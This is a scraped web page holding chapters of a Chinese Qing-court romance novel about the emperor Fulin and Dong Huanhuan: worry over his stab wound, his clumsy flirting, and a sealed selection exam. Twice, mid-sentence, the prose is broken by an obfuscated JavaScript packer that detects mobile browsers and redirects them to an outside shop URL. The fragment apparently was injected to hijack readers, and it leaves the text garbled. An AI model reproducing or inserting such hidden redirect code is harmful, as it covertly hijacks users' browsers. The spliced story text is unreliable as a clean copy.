听到她的话,福临缓缓闭上眼睛,唇角却勾起一抹浅浅的弧度:“放心吧,太医在你来之前已经来过了……” “那太医怎么说?”董浣浣赶忙追问,心又提到了嗓子眼,连呼吸都屏住了。 “太医怎么说来着……”福临故意拉长了尾音,声音拖得懒懒的,像是在努力回忆,可说着说着,却突然没了下文。 这让董浣浣瞬间紧张起来,提心吊胆等了半天,依旧没听到下文。 只见福临闭着眼睛,呼吸渐渐平稳,竟像是有了睡意。 情急之下,董浣浣甚至忘了他的身份,也顾不上什么规矩礼仪了,抬手便拍在了福临的肩膀上,带着几分急切地催促道:“太医怎么说,你倒是快点说话呀?!”那力道,震得她自己的手都有些发麻。 被打的福临此刻却笑出了声,他坐起身来,微微蹙起眉头,故作委屈地抬手,轻轻拍了拍刚刚被董浣浣打过的地方,语气带着几分戏谑:“好疼,你这样就不怕真的给我打坏了呀。” 董浣浣看着他这副模样,有些委屈又有些生气的控诉:“我和你说正事呢,谁让你都不好好回答人家的问题,让人平白的着急……” 虽然嘴上这么说,她到底还是不放心,害怕自己下手没轻没重,真的把他打伤了。她赶忙凑上前,拉过他的胳膊仔细查看,动作里带着不自觉的紧张和心疼,嘴里连声道歉:“我不是故意的,就是太着急了,怎么样,很疼吗……” 福临见她眼眶微红,一副又委屈又愧疚,眼看就要哭出来的模样,心头一软,连忙轻轻拉过她的手,目光落在她的眼睛上,眼底的戏谑散去,只剩下温柔的笑意,低声哄道:“骗你的,不疼。而且太医也说我的身体一切如常,你就放心吧。” 董浣浣这才松了口气,深吸了好几口气,把那些快要落下来的眼泪硬生生憋了回去。她吸了吸鼻子,瓮声瓮气地开口,带着几分控诉:“刚刚你才说过你永远都不会骗我的,你说话不算话……” 福临闻言,无奈地扶了扶额,一时间竟不知道该如何开口。他看着眼前这个气鼓鼓的姑娘,只觉得心里像是被什么东西轻轻撞了一下,又软又麻。真是被她给打败了,有一种被什么东西正中眉心的感觉。他自继位以来,什么风浪没见过,却偏偏对她这副模样毫无办法。 不过,好在他家浣儿也不是个斤斤计较的人,见他语塞,很快便轻轻哼了一声,算是给了他个台阶下。 董浣浣微微扬起下巴,故作严肃地佯怒道:“这次就姑且放过你了,没有下一次了……” 生气归生气,她心里最惦记的还是他的身体。她看着福临眼下淡淡的青影,忍不住又叮嘱道:“我知道你现在压力大,朝堂上的事多,可无论做什么,还是要照顾好自己的身体。” 话音刚落,她又想起了另一个问题,眉头不由得再次皱起:“你这样装病,连太医都不备着,可我看门外也没人看守,屋里还这样灯火通明的,就不怕被人发现吗?要是被有心人看见了,指不定又要生出什么事端来。” 福临却满不在乎地笑了笑,语气带着几分帝王的桀骜:“发现就发现呗,发现了他们又能奈我何?” 福临一边说着,一边轻轻拉住她的左手,将她的手掌摊开。然后,他伸出自己的左手,掌心与她的掌心轻轻贴在一起,指尖摩挲着她细腻的肌肤,像发现了什么新鲜事,眼底带着笑意:“看,我的手掌比你的大好多哎。” 董浣浣不明就里地顺着他的视线看向两人交叠的手,心里默默点头,确实,他的手掌宽大而温暖,能将她的手完全包裹住。 董浣浣刚想开口继续刚才的话题,却见福临收回手,然后用一根手指轻轻在她的手心里画着圈圈,像是在写字。那指尖的温度带着微痒的触感,一路传到心底,让董浣浣的脸颊又开始发烫。 她后知后觉地察觉到一丝不对劲,迟疑了好一会儿,才鼓起勇气,试探着开口道:“福临,你有没有觉得……” 她顿了顿,像是下定了很大的决心,才小声补充道:“你是不是在撒娇呀?” 福临只是直直地望着她,许久都没有说话,董浣浣被他看得浑身不自在,脸颊烧得厉害,恨不得找个地缝钻进去。 就在她窘迫得快要低下头时,福临这才终于放过了她,语气里带着几分恶作剧般戏谑的开口道:“你才发现吗?我都撒了好一会儿了……” 还可以这样吗?董浣浣被他这么直白的回答给干沉默了,一时间竟不知道该如何接话,只能呆呆地看着他,脑子里一片空白。 见她半天不说话,只是睁着圆圆的眼睛望着自己,福临像是越战越勇似的,竟又接着说道:“怎么,我撒娇撒得那么不明显吗?” 董浣浣被他这句话说得心头一跳,只觉得像是有电流窜过,整个胳膊瞬间起了一层鸡皮疙瘩。 董浣浣简直不敢相信自己的耳朵,她迫切的想知道到底是谁上了福临的身,让他变得如此直白又带着点小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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董浣浣从来没有见过这样的福临,那是一个带着急切与霸道的吻,不同于以往的小心翼翼,带着几分惩罚的意味,仿佛要将她所有的话语都吞噬殆尽。他的手紧紧抓住她的手腕,力道之大,让她丝毫没有反抗的机会。他的气息包裹着她,带着不容置疑的占有欲,让董浣浣的大脑瞬间一片空白。 一吻毕,董浣浣只觉得唇瓣又麻又痛,像是被烈火灼烧过一般。她拼命地大口喘着气,胸口剧烈起伏,眼眶因为缺氧而微微泛红。 可福临却还是不肯放过她,他将她紧紧地拥入怀中,手臂像铁箍般圈着她的腰,让她几乎喘不过气来。他的下巴抵在她的发顶,声音带着一丝不易察觉的颤抖和恐慌:“我知道你想说什么,你想都不要想。” “朕是皇帝,”他加重了语气,一字一句,带着帝王的威严与不容置喙的坚定,“朕才不要什么残缺美,只要是朕想要的,就得是我的。你也不例外。董浣浣,不要试图试探朕,你这辈子都别想逃离我的身边!” 董浣浣被他勒得生疼,心里又急又慌,她真的没有那个意思啊!她只是看到星空,一时感慨罢了,怎么就被他曲解成这样了?她挣扎着想要解释,可刚一张口,就被他更紧地抱住,只能发出模糊的呜咽声。 许久,董浣浣费了九牛二虎之力,才勉强从嘴里挤出几个字,告诉他自己只是一时感慨,没有其他含义,让他不要多想。 最后,还是福临先松了些力道,语气里带着一丝委屈,像是个被遗弃的小狗:“谁让你故意吓我的……” 哎,董浣浣在心里无奈地叹了口气。这个没有安全感的男人呦,怎么说着说着,横竖都变成了她的不是呢?她抬起手,轻轻环住他的背,指尖抚平他紧绷的衣料,心里暗暗想着,罢了罢了,谁让他是福临呢,是那个在外人面前高高在上,却只在她面前流露脆弱的福临。 窗外的星光依旧璀璨,屋内的烛火摇曳生姿,将两人相拥的身影拉得很长很长,仿佛要延伸到时光的尽头…… 96. 土味情话 董浣浣坐在窗前,指尖无意识地摩挲着袖口的兰花纹刺绣,窗外的日光透过雕花窗棂,在青砖地上投下斑驳的光影,却驱不散她心头的阴霾。 董浣浣觉得她那天真是太冲动了,不管不顾的让李顺德带她前往养心殿的行为很是不妥。 如今想来,只觉得后怕的紧,这红墙深宫之中,眼线如织,万一被人发现,只会给福临带来困扰而已。 万一再打乱了福临的布局,后果将是不堪设想。 在惴惴不安了两天后,发现并没有什么异常,董浣浣才算是放下心来。 另一件让董浣浣很忧愁的便是,那天临走前,福临攥着她的手,掌心温热,眼底盛着狡黠的笑意,说要给她个惊喜。她追问再三,他却只摇头,故作神秘地说,"你到时候便知"。 董浣浣对着铜镜轻轻叹了口气,镜中人面色苍白,眼下泛着淡淡的青影。她如今对惊喜都有PTSD了。 感觉每次惊喜过后,都会出现些让她措手不及的惊吓,以至于董浣浣有时候甚至宁愿没有惊喜。 可是,说拒绝,又害怕伤害他的一片真心。不拒绝,又怕再弄出什么幺蛾子。董浣浣揉着发胀的太阳穴,只觉得左右为难,一颗心七上八下的。 正烦乱间,脑海中突然闪过另一幕,让她猛地打了个寒噤。 都说陷入情爱的人会变得幼稚,会患得患失,董浣浣深以为然,毕竟她做梦也想不到,“女人,你成功的引起了我的注意,休想逃出我的掌心”,这句话,能从福临的口中说出来。 董浣浣现在回想起来,还是觉得鸡皮疙瘩能掉满地,后背发凉,忍不住的搓了搓双臂。 赫舍里.青柠从外面回来,正好看到这一幕,有些不明所以的开口问道,"你这是怎么了?哪里不舒服?" 董浣浣抬眼,见她一脸疑惑的表情,手里还拎着一盒桂花糕。 "你是不是冷啊,需要添件衣服?"赫舍里.青柠走近了些,目光落在她泛白的脸颊上。 董浣浣闻言,摇了摇头,解释道,“没有,没有,就是想到了一些不好的事情,有点不适应而已。” 赫舍里.青柠闻言点点头,将桂花糕往桌上一放,拍了拍手,“我就说天气还没到冷的时候呢,你怎么就一副被冻到了的样子。” 董浣浣连连摆手说没有,然后暗自松了口气,在心里给赫舍里.青柠默默点了个赞,真是太有眼力劲了,她确实被福临那句"土味情话"冻得够呛。 "不过话说回来,"赫舍里.青柠忽然话锋一转,顺手拿起桌上的青瓷茶壶给自己倒了杯茶,"这天气也快转凉了,昼夜温差大,晚上出门的时候,还是批件外套,比较好。" 话音刚落,董浣浣被吓得打了个喷嚏,惊得桌上的茶盏都轻轻颤了颤。 赫舍里.青柠这是发现她那天晚上出去了吗?她这话,是意有所指,还是随口一提? 董浣浣的心瞬间提到了嗓子眼,指尖绞着帕子,脑子里飞快地盘算着说辞。她该如何和赫舍里.青柠解释她那天晚上的行踪。 都怪福临!那晚她明明说要早些回来,他非不让,这下好了吧,把她陷入到如此为难的境地。 就在董浣浣还在焦急的想着如何解释的时候,赫舍里.青柠却忽然换了个话题,漫不经心地扫了眼空荡荡的屋子:"她们俩去哪了?" 董浣浣这才如蒙大赦,长长地舒了口气,原来赫舍里.青柠只是随口的关心话,是她做贼心虚,如临大敌。 她定了定神,端起茶杯抿了口温水,才缓缓开口:"石小睕被孟嬷嬷派人叫去问话了,许是为了前几日刺绣的事。至于陈珺娅......"她顿了顿,实在想不起那人的去向,"我也说不准,练完字回来就没见着人影。" 赫舍里.青柠对此毫不在意,摆了摆手:"罢了,我也就是随口问问,她们的去向与我无关。"她走到窗边,推开半扇窗户,暖风带着花香涌了进来,"你呀,该较真时不较真,不该较真时,又较真的要命。" 董浣浣笑着点头,心里那块石头总算是落了地。她望着赫舍里.青柠的背影,忽然想起另一件事,便试探着问道:对了,这几天都忘了问你了,你知道那天佟佳.静姝和唐芿为什么打架了吗?" 赫舍里.青柠闻言猛地转过身,眉头拧成了个疙瘩,快步走到她面前,伸手就在她额头上轻轻敲了一下,又忍不住唠叨,"我有的时候真的想敲开你的脑袋看看,里面到底装了些什么!怎么总对别人的闲事这么上心?前阵子因为多管闲事吃的亏还不够吗?" 赫舍里.青柠的语气带着几分恨铁不成钢,却又难掩关切:"有这功夫操心别人,不如多关心关心自己。你看看你这两天的脸色,白得像张纸,我说请太医来瞧瞧,你偏不肯,非要逞强。真要是病倒了,遭罪的还不是你自己?" 董浣浣被她说得脸上发烫,默默低下头,指尖抠着帕子上的绣花。青柠的话虽然严厉,可字里行间的关切却让她心头暖暖的。 赫舍里.青柠见她这副模样,终究是软了心肠,叹了口气,语气缓和了些:"罢了,跟你说了也白说。"她在董浣浣身边坐下,拿起桌上的桂花糕递过去,"听说是为了一枚戒指。" "戒指?"董浣浣惊讶地抬起头,接过桂花糕却没心思吃。心想,又是戒指。 她现在听到"戒指"两个字就头疼。前几日刚因为一枚疑似福临赏赐的戒指闹出风波,怎么这又来一枚?难不成又是福临放出来的烟雾弹,用来混淆视听的? 董浣浣有些懊恼,那天去找他的时候,怎么就忘记问这茬了。 "可不是嘛,"赫舍里.青柠咬了口桂花糕,接着说道,"听说那是佟佳·静姝母亲的遗物,被唐芿拿去戴了,还不小心弄丢了。"她挠了挠头,有些不确定地补充道,"具体的我也不太清楚,都是道听途说的,说是唐芿没经过佟佳.静姝允许,就把戒指带出了屋,结果回来就找不到了。" 董浣浣点点头表示理解:"原来是这样......" 难怪佟佳·静姝会发那么大的火,换作是谁,母亲的遗物被人擅自拿走还弄丢了,怕是都要气炸了。 既然是佟佳.静姝母亲的遗物,那这枚戒指应该就和福临没有关系了。董浣浣这才放下心来。 赫舍里.青柠见她不再追问,便换了个轻松些的话题:"对了,刚从外面听来个好消息,皇上身体已经无恙了,今天一早就去上早朝了。" 闻言,董浣浣的心猛地一跳,悬了几日的担忧终于烟消云散。她那天见福临时,他虽然面色平和,可她总怕他是强撑着,想让她安心。如今听到这个消息,才真正放下心来,连带着脸色都红润了几分。 "那就好,"她轻声说道,语气里带着难以掩饰的欣慰,"皇上无碍,天下才能太平。不然这朝堂上下人心惶惶的,终究不是好事。" 赫舍里.青柠深以为然:"可不是嘛。都说国不可一日无君,现在又逢多事之秋,真要是皇上龙体欠安,朝堂指不定要乱成什么样子,就连咱们这储秀宫也别想安生。" 董浣浣闻言,点了点头,表示认同。 赫舍里.青柠看了一眼董浣浣的表情,然后像是想到了什么,忽然凑近了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815921|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些,压低声音道,"就是不知道,皇上背上的刀伤,到底好利索了没有。" "刀伤?"董浣浣只觉得脑子里"嗡"的一声,像是有惊雷炸开,耳边瞬间一片空白。 刀伤?什么刀伤?他什么时候受的伤?她怎么会不知道?还是说他们之前微服出巡受伤的事情,现在传开了? 董浣浣只觉得手脚冰凉,指尖控制不住地颤抖起来,连呼吸都变得困难。董浣浣深吸一口气,尽量让自己保持平静,问道,“皇上受伤了,什么时候的事情啊,我怎么没有听说过。” 赫舍里.青柠疑惑的看向董浣浣,"你......你是住在大清朝的京城吗?” 董浣浣不明所以,“为什么这么问?” 赫舍里.青柠有种被她打败了的无力感,“整个京城,人人都知道的事情。你身为选秀的秀女,怎么会一点风声都没听过?" 董浣浣茫然地摇头,脑子里一片混乱,她确实是一点也不知道。 赫舍里.青柠见她是真的不知情,便不再打趣,敛了神色缓缓说道:"今年年初,和硕英亲王阿济格谋乱,被皇上提前识破了。就在抓捕阿济格的时候,那人狗急跳墙,竟趁乱给了皇上一刀。还好皇上反应快,只是伤了后背,没有伤及要害......" 赫舍里.青柠后面的话,董浣浣已经听不清了。 她的耳边只剩下"阿济格谋乱""给了皇上一刀"这几个字在反复回响,像重锤般狠狠砸在她的心上。 他又受伤了?在她不知道的情况下,他又受伤了。还是刀伤,他疼不疼啊。 那天明明说过再也不会骗她的人,怎么可以隐瞒她这么严重的事情。 年初受的伤,几乎人人都知道?可是她却像个傻子一样,什么都不知道。 为什么她会不知道,董浣浣用力闭了闭眼,她那时候到底在干些什么? 董浣浣仔细想了想。哦,对,最开始她在和他怄气。后来便忙着学习做大家闺秀参加选秀,来敷衍他,归根结底是忙着算计着离开他…… 却从未想过,那段时间里,他正经历着怎样的惊心动魄。 难怪那时父亲总是早出晚归,眉宇间满是忧色;难怪那时候他总是派人贴身的跟在她身边。说是保护,她却只当是监视,还为此和他赌气;难怪他会突然颁布采选秀女的旨意,让她入宫...... 原来,他是在想尽办法护她周全。 阿济格谋乱,必定牵连甚广,他那时处境凶险,却还是把她护在了羽翼之下,不让她沾染半分血腥与危险,甚至害怕她担心,连半点风声都不让传到她耳朵里。 而她呢?她却在抱怨他隐瞒身份,在抱怨他束缚了她的自由,在算计着如何逃离他的身边。 董浣浣的胸口像是被巨石压住,闷得喘不过气来。 她想起那天在养心殿,他笑着说"我没事"时,眼底一闪而过的疲惫;想起他一反常态的向她撒娇…… 原来那些被她忽略的细节,全都是他默默承受的证明。 窗外的花香依旧浓郁,可董浣浣却只觉得心里又酸又涩,这个傻瓜,这个总是把一切都扛在自己肩上的傻瓜...... 她忽然无比后悔,后悔自以为是的为他好,后悔自己的后知后觉。 此刻满心的愧疚与心疼,像潮水般将她淹没。 原来,他为她做了这么多,而她却一无所知。 原来,那些她以为的束缚,全都是他小心翼翼的守护。 养心殿的那扇门后,藏着的不仅是帝王的权谋与算计,还有他从未言说的深情…… 97. 油腻的他 养心殿的檀香正袅袅的漫过棋盘,身着明黄色常服的福临,指尖摩挲着微凉的棋子,目光落在棋盘上纵横交错的纹路间,思绪却不由自主的飘回了那晚。 他犹记得,他说完那句话之后,浣儿仰头看他。眼里盛着三分嫌弃,七分认真:“福临,你以后这些话少说些,太油腻了。” “油腻”? 他愣了半晌才反应过来,他家浣儿好像是在嫌弃他。 自幼年登基以来,他听惯了奉承话,还没人敢用这等新鲜词汇评价他。是以他下意识的开口问道,“油腻”是什么意思?” 福临觉得他的姑娘很是古灵精怪。她总是能在不经意间,蹦出一些稀奇古怪的话来,让人忍不住想要去靠近她,去了解她的精神世界。 所以当她让他说话不要“太油腻”的时候,他是真的很虚心地向她请教了,甚至带着几分孩童般的好奇,想弄明白自己究竟是哪里出了错。 回想当时,浣儿一脸为难,吞吞吐吐的给他解释这其中含义,“就像麦芽糖黏在嘴里,甜的发齁,还黏腻腻的,粘在牙上,甩也甩不掉,让人浑身难受……” 她说完,像是生怕他再追问什么,吓得头也不回,慌忙的跑开了…… “哈哈哈……” 听福临讲述过原委之后,对面身着天青色锦袍的卫霖指尖捻着枚白子,抖动着双肩,笑时眼尾浮起风流褶子,差点把面前的棋盘掀翻。 福临抬头狠狠的撇了他一眼,卫霖见状,立马止住了笑,但脸色却因为憋笑憋得通红。 福临无语,“想笑就笑吧。” 闻言,卫霖便毫不客气的笑出了声,边笑还不忘边谢恩,“谢皇上恩典,微臣实在是憋不住啊,有辱斯文,有辱斯文,皇上恕罪啊……噗……哈哈……” 虽然嘴上说着有辱斯文,说着皇上恕罪,福临却一点也没有看出来他的抱歉,全是幸灾乐祸的模样…… 卫霖实在是无法想象这句话从他们这位陛下嘴里说出来的样子。 想来是太珍视,太患得患失了,才会让一向运筹帷幄之人,病急乱投医般的向他求助要怎样做,才能牢牢抓住一个女人的心。 那天卫霖几乎是将毕生所学倾囊相授,却没想到提出的建议都被他否定了,这样让身为风流才子的卫霖很是挫败。 最后卫霖实在是没招了,就随口敷衍了一句,“实在不行,您直接告诉她,‘女人,你成功的引起了我的注意,休想逃出我的手掌心’得了。” 没想到他们这位陛下竟然真的听进去了,并且实施了。 卫霖笑了好一会儿,才好不容易止住笑意,又带着难以置信的神情,重复着问了一遍:“您真的这样说了?” 福临无奈,指尖轻轻叩了叩棋盘,黑檀木的纹路在烛火下明明灭灭,映着他眼底复杂的情绪。 说真的,现在回想起来,确实有点丢人。他当时硬着头皮说出那些话的时候,还以为浣儿会喜欢,会像其他女子那样,因为这些话而欢喜、羞赫,却没想到,得到的居然是这般直白的嫌弃。 福临无奈地笑了,嘴角勾起一抹自嘲的弧度。他这回请的师父,好像是真的不太灵啊。 从出生到现在,他还是第一次被人如此评价,油嘴滑舌,像是个想要用甜言蜜语哄女孩欢心,却适得其反的浪荡子。这评价,于他而言,实在是新鲜又刺耳。 都说书中自有黄金屋,书中自有颜如玉,只可惜,从小师父们教他的都是经国治世之道,安邦定国之策。从来没有人教过他,该如何讨一个女孩的欢心。 他身边的人,不是谨小慎微的臣子,就是毕恭毕敬的宫人,他们只会告诉他怎么做一个合格的主子,却没人能告诉他,怎么做才能让浣儿真正地敞开心扉,全身心的信任他,依赖他。 浣儿对他,又常常是若即若离的态度,让他总觉得患得患失。很多时候,他都猜不到她的心思,好像他只要一个不留神,她就会像指间的沙,悄无声息地从他身边溜走。 在董鄂府的时候,她竟然真的将让他放她离开的话说出了口。 那一刻,他的心像是被一只无形的手紧紧攥住,疼得他几乎喘不过气来。他不知道她是真心这么想,还是只是无心的一句玩笑话,他甚至不敢去求证,怕听到那个最让他恐惧的答案。 他失了控,冲着她发了火,可是看到她害怕又无助的模样,又无比的后悔。那天,他几乎是落荒而逃的。 还有那天夜里,因为天上的星星,她又说了那些让他心神不宁的话。虽然她后来解释了,说她并没有暗示什么,只是有感而发,可他还是会忍不住多想。 他怕,怕那些话是她小心翼翼的试探,藏着她想要离开的真心。所以他拼命地吻她,拼命地抱紧她,恨不得将她揉进自己的骨血里,融入自己的生命中。他害怕,真的害怕,害怕自己一个不注意,她就会从他身边溜走。 他不敢赌,不敢想象她从他身边离开的哪怕一丝丝的可能性。他清楚地知道,那样,他真的会疯的。 他反省过,是不是自己自幼登基,为了在人前立威,这些年养成了古板无趣的性格,给她带来了太大的压力。 他想了很久,最后才决定开口向卫霖取经的,毕竟,在他的周围,好像也就只有卫霖,在讨女子欢心这件事情上,有些心得,可以指导他一二。 可是现在看来,他找得这个师父,好像是不太行啊。京城有名的风流才子的那些把戏,到了他家浣儿的眼里,就只配得上“油腻”二字而已…… 福临抬眼瞥了卫霖一眼,目光沉静:“还不是你出的馊主意。” 闻言,卫霖的手一顿,指尖的白子险些落错了位置。他忙稳住棋子,笑道:“皇上您这就是冤枉微臣了。这只能说明浣主儿不吃微臣这肤浅的一套,她思想境界高着呢。” 他顿了顿,又凑近了些,语气带着几分认真:“况且,浣主儿不喜欢甜言蜜语,这对您来说,反而是好事。” “情之一字,贵在自然。”卫霖指尖轻轻划过棋盘上的楚河汉界,“您若真心喜欢,眼神里是藏不住的。皇上您不必去学那些虚浮的情话,心意这东西,藏在细节里,比任何情话都要动人。” 卫霖望着棋盘上渐成气候的黑子,那些棋子错落有致,隐隐透着一股沉稳的气势。他忽然笑了,说道:“正如陛下这棋路,步步为营,却又处处留着余地,既有章法,又不失温度。” “情如棋局,过刚则易折。”卫霖的声音淡淡响起,“您若是逼得太紧,一直摆出势在必得的架势,反倒会让浣主儿感到拘谨,觉得不自在。不如像现在这样,落子从容,慢慢来,让她有足够的时间适应,她反而更容易入局。” 福临拿起卫霖刚下的那枚白子,对着烛光看了看,温润的玉在烛光下泛着柔和的光晕。他忽然觉得,这世间最妙的棋局,原是情之一字。不必急着定输赢,不必急于求结果,慢慢落子,细细经营,总有柳暗花明的一日。 福临将棋子放回原处,看向卫霖,“也许你说的对。” 是他当局者迷了,才会急于求成,自乱阵脚,流于表面,这完全不 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“不过,”卫霖顿了一下,接着说道,“这事,您不提前和浣主子知会一声吗?您设计那天将她支开,事后她也还是会知道的……” 福临闻言抬眸看向卫霖,思考了一下,最终叹了口气,“算了,她知道的越少越安全。” 卫霖点头,“您决定就好,”像是又想到什么,卫霖友情提醒道,“不过,事后如果浣主子怪罪下来,您别怪我没提醒您……” 福临瞥了他一眼,算是回答了。 卫霖见状摊了摊手,表示事不关己。 该说的话已经聊完,棋盘上的棋局也早已尘埃落定,卫霖站起身,正准备告辞离开。 福临突然想到了什么,开口叫住了他:“你这好不容易回来一次,恰好你父亲也在京中,你要不要回家见见你父亲和兄长?一家人,还是要多交流才是。” 正要迈开脚步离开的卫霖,闻言,身形一顿。他没有转过身来,只是背对着福临,伸出手,冲着福临挥了挥,声音里带着几分不易察觉的低落:“算了,我还是早点去给您把差事办完吧,别耽误了正事。” 望着卫霖渐渐远去的背影,福临无奈的想。他何尝不知道卫霖心里的芥蒂,可有些事情,旁人终究是插不上手的。己所不欲,勿施于人,解铃还须系铃人。 毕竟,他们之间还隔着一条人命。那道鸿沟,深不见底,不是他三言两语就能填平的。他能做的,也就只有这么多了。 他们父子间的隔阂,也不是一朝一夕形成的,冰冻三尺非一日之寒,以后他们之间会成为什么样子,最终能否和解,也只能看他们自己的造化了。 望着卫霖消失在门口的背影,福临实在是想不明白,卫骏岳那样一个谨小慎微、循规蹈矩的人,为什么会生出卫苑和卫霖这两个性格截然不同的儿子。一个太过木讷古板,像块捂不热的石头;一个又太过聒噪轻浮,像只停不下来的雀儿。这父子三人,简直像是从三个不同的模子里刻出来的。 福临轻轻叹了口气,有些无奈地想,目前看来,他和浣儿之事,卫霖能给的建议也只有这么多了。 窗外的月光,透过窗棂洒进殿内,落在棋盘上,给那些黑白棋子镀上了一层朦胧的光晕。 福临望着棋盘有些出神,或许,就像卫霖说的那样,情贵在自然,他该用自己的方式,让浣儿感受到他的真心,让浣儿放下顾虑,彻底依赖他…… 98. 封闭考试 董浣浣盯着床顶的帐幔,连叹气都觉得费力气。董浣浣做梦也想不到,她都躲到了三百多年前的大清朝了,还是改变不了要三天一小考五天一大考的命运,而且还是封闭型考试。 这都是什么仇什么怨啊,这到底是选秀女还是选状元? 她揉了揉酸涩的太阳穴,只觉得太阳穴突突地跳,像是在抗议这没完没了的折腾。 天还没亮透,一阵急促的敲门声就像催命符似的砸在门上,伴随着宫女太监们拔高的嗓音:“各位小主快醒醒!辰时前得去宫道集合,误了时辰可要受罚的!” 董浣浣猛地睁开眼,惺忪的睡意瞬间被惊走大半。她坐起身,被子滑落肩头,露出一截白皙的脖颈,上面还带着昨晚辗转难眠压出的淡红印子。这几天,她满脑子都是福临年初遇刺的事,夜里总梦见他浑身是血的模样,常常惊醒后就再也睡不着。好不容易昨晚借着一丝困意浅浅入眠,没成想才睡了不到两个时辰,就被硬生生薅了起来。 董浣浣叹了口气,伸手揉了揉乱糟糟的发髻,认命的掀开被子坐起身。 她走到梳妆台前。铜镜映出她的模样:柳叶眉,杏核眼,皮肤依旧细腻白皙,只是眼下淡淡的青黑暴露了她的疲惫。董浣浣用温热的帕子擦了把脸,才算让她精神了几分。 遥想上一次,这种饱受摧残、生不如死的日子,好像还是在大一军训。 不过董浣浣很快就把自己哄好了,毕竟再怎么饱受摧残,也比总是遇到刺杀,命悬一线,朝不保夕的要好多了,人活着还是要知足。 董浣浣刚安慰完自己,随即又在心里忍不住呸了两声,自己这是什么乌鸦嘴,净不盼点好的。 董浣浣一边穿衣一边想,齐嬷嬷他们这次又不知道要怎么折磨她们了。还好距离大选已经没有几天了,齐嬷嬷他们能够折磨她们的日子,也没有多少天了。 不过比起担心被齐嬷嬷他们折磨,董浣浣还是更担心福临。 虽然她也知道,年初遇刺之事,福临之所以瞒着她,就是不想让她担心。 而且已经过去这么久了,他的伤口估计早已经愈合,这么多次见面,他都没有表现出任何不适,她应该按照他的设想继续装作不知道,将这件事情揭过去。 她这几天一直这样反反复复的劝解自己,可是最终得出的结论还是:如果不让她亲眼看一下他的伤口,她还是不放心。 董浣浣洗漱完毕,换上一身水粉色旗装,这颜色不张扬,绣着细碎的桃花纹样,走动时裙摆轻轻摇曳,倒有几分灵动。梳了个简单的旗头,插了只素色簪子,簪头缀着颗小小的珍珠,走动时微微晃动,衬得她多了几分温婉。 董浣浣看着镜中的自己,深吸一口气,做好了被折磨的心理准备,站起身拉着已经在一旁等候多时的赫舍里.青柠一起往外走。 陈珺娅和石小睕已经走了有一会儿了,青柠看了一眼董浣浣,打趣她道,“你终于收拾完了,我还以为你要被镜子粘住了呢。” 董浣浣被她说的有些不好意思,赶忙转移了话题,“你说齐嬷嬷这次又要出什么幺蛾子?” 青柠闻言,也没心情打趣她了,撇了撇嘴,压低声音:“谁知道呢。她们向来是不当人的。” 两人一边小声嘀咕,一边往宫道走去。刚到宫道,就看到宫道上已经站满了人,大家穿着各式各样的旗装,看得人眼花缭乱。姑娘们个个打扮得花枝招展,头上的珠翠叮当作响,可脸上却都带着几分紧张和期盼,有的不停地绞着帕子,有的小声跟身边人念叨着什么。 董浣浣拉着青柠找了个角落站定,目光扫过人群,心里忍不住佩服她们。这些秀女大多出身官宦世家,从小养尊处优,可自从入宫参加选秀,每天天不亮就起来训练,学礼仪、练女红、背诗词,还要应付各种考核。经过这么多次的折腾,大家的精力还是如此的旺盛,不像她,只觉得浑身像灌了铅似的,提不起劲,活像秋后的蚂蚱,蹦跶不了几天了。 没过多久,一阵整齐的脚步声传来,几个穿着蓝色宫服的太监走了过来,为首的肖如春,站在宫道中央,清了清嗓子,尖着嗓子喊道:“奉皇上口谕,今日起,所有秀女迁往南苑行宫居住,进行为期四天的封闭考核!考核合格者,方可参加后续的祭天大典。现在,请各位秀女有序前往神武门,依次上车,不得喧哗,不得交头接耳,违者取消选秀资格!” 封闭考核? 董浣浣愣住了,手里的帕子差点掉在地上,心里咯噔一下,这又是闹哪样。刚入宫那会儿,不是拉出去考核完了吗?这怎么又要被拉出去考核,难道要像以前高中那样,弄个周考不成?她们到底是来参加选秀,还是来参加高考的啊? 董浣浣忍不住翻了个白眼,可看着肖如春严肃的表情,又赶紧把情绪压了下去。众目睽睽之下,可不能随便表露不满,万一被人抓住把柄,后果不堪设想。算了,董浣浣在心里默默了劝了自己一声,既来之则安之吧...... 容不得她再多想,太监们已经开始引导秀女们往神武门走。董浣浣只好跟着人群,不紧不慢的往前走。 神武门外停着十几辆马车,马车都是统一的样式,黑色的车厢,红色的车轮,车帘上绣着云纹牡丹等图案,富丽堂皇的,一看就是宫里的物件。一个太监站在马车旁,高声喊道:“每辆马车坐两人,按排序依次上车,不许乱了规矩!” 董浣浣和青柠原本站在一起,想着能坐同一辆马车,互相也有个照应,可前面的秀女刚好是单数,轮到她们时,青柠被分到了前一辆马车,董浣浣则要坐后一辆。 赫舍里.青柠见状有些担忧的看了一眼董浣浣,董浣浣还给她一个安心的眼神,看着青柠上了马车,董浣浣深吸一口气,转身走向后面的马车。 和她同乘一辆马车的是佟佳.静姝,两人上了车之后点了个头算是打了招呼,接着一左一右的坐了下来,安静得等待着出发。 车厢里空间不大,两人相对而坐,中间只隔了一张小几,气氛瞬间变得有些尴尬。董浣浣想找些话题聊聊,可看着佟佳.静姝低头搅弄手帕的样子,又把话咽了回去。 马车缓缓启动,车轮碾过青石板路,发出“咕噜咕噜”的声音。车厢里很安静,只能听到外面的风声和马蹄声。董浣浣靠在车厢壁上,看着窗外不断倒退的景色,心里又开始琢磨起福临的事。 “你的戒指找到了吗?”沉默了许久,为了转移自己不安的情绪,董浣浣望着坐在对面低着头搅弄着手帕一言不发的佟佳.静姝,小声的开口问。 